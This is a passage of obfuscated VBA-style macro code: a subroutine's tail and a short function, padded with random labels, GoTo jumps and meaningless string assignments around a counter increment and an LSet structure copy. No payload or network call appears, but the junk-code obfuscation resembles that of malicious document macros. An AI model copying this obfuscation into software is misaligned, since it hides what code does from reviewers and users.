BkmGjnByhuTTvDPsLrP:
N7s4f(iCounter) = r8w7O
GoTo HhsmEoKuFLH
kyGHRpkNOvBUdSytusx:
GoTo pwMonDtvnMp
pwMonDtvnMp:
TjnqiGVOygjDgkyuerQQ = "AMpIoeDepjBlH"
GoTo RAoJzqEOxxkkLThIcHg
JxvpHEbKVcYjABQ:
xkkLThIcHgxJxvpHE = "KVYj"
GoTo iFmPfLSltjOJKINzszeE
FJMDdFlUQFaPG:
MDdFlUQFaPGUfNNAnNk = "LtKwAaLFYUrNmso"
GoTo bZePIPuGGV
eCurCTiDrAZTwyfzE:
CHEPhvDENmgJLsyRavqrpufmtJkkAqskJmQO = "oJzqEO"
GoTo CirrqvRZgKYQnqtlJZ
CirrqvRZgKYQnqtlJZ:
TjnqiGVOygjDgkyuerQQ = "AMpIoeDepjBlH"
GoTo BkmGjnByhuTTvDPsLrP
iFmPfLSltjOJKINzszeE:
BQYiFmPfLSltjOJKIN = "szeEpF"
GoTo FJMDdFlUQFaPG
DRnpyHCgwOjCwmR:
MDdFlUQFaPGUfNNAnNk = "LtKwAaLFYUrNmso"
GoTo dUtIBlSVqS
HhsmEoKuFLH:
iCounter = iCounter + 1
GoTo kyGHRpkNOvBUdSytusx
RAoJzqEOxxkkLThIcHg:
CHEPhvDENmgJLsyRavqrpufmtJkkAqskJmQO = "oJzqEO"
GoTo JxvpHEbKVcYjABQ
bZePIPuGGV:
End Sub
Private Function R8g5Q(ByVal O1u1T As Long) As j0l1r
Dim h4T2f As R5G4F
GoTo wqIrNxIOKVnC:
CtHRAAnnOQkLgKjAMB:
ThUGiECfMePTuTfZr = "LhFy"
GoTo sKHfOZfbmDEaclI
yuFQlGuEcQABiCHP:
ThUGiECfMePTuTfZr = "LhFy"
GoTo luutyUcjNbaqtwoM
zQrqGwzqPsYVDs:
FQlGuEcQABiCHPFlu = "tyUcj"
GoTo CtHRAAnnOQkLgKjAMB
ChHtIMPHgJoYTI:
h4T2f.j0b0N = O1u1T
GoTo SJYiQQDqRo
wqIrNxIOKVnC:
baqtwoMcUEnpJmrEBkx = "QyGTvOuSkK"
GoTo zQrqGwzqPsYVDs
SJYiQQDqRo:
LSet R8g5Q = h4T2f
GoTo OwNzDdROIbYvQpvDGUqsBLGjzRmF
luutyUcjNbaqtwoM:
FQlGuEcQABiCHPFlu = "tyUcj"
GoTo UEnpJmrEBkQQyGTvOuSkKlwqI
PTuTfZroLh:
pUeediSLSxKJadgYwL = "oQZtVao"
GoTo yuFQlGuEcQABiCHP
OwNzDdROIbYvQpvDGUqsBLGjzRmF:
GoTo pUeediSLSxKJadgwLEoQZtVaoyThUGiECfM
sKHfOZfbmDEaclI:
pUeediSLSxKJadgYwL = "oQZtVao"
GoTo SjPVpxmRNNMQC
UEnpJmrEBkQQyGTvOuSkKlwqI:
baqtwoMcUEnpJmrEBkx = "QyGTvOuSkK"
GoTo KUsnQSyFZgVBwxvAm
SjPVpxmRNNMQC:
oAOwNzDdROIbYvQpvrDG = "qsBLGjzRmF"
GoTo ChHtIMPHgJoYTI
pUeediSLSxKJadgwLEoQZtVaoyThUGiECfM:
oAOwNzDdROIbYvQpvrDG = "qsBLGjzRmF"
GoTo PTuTfZroLh
KUsnQSyFZgVBwxvAm:
End Function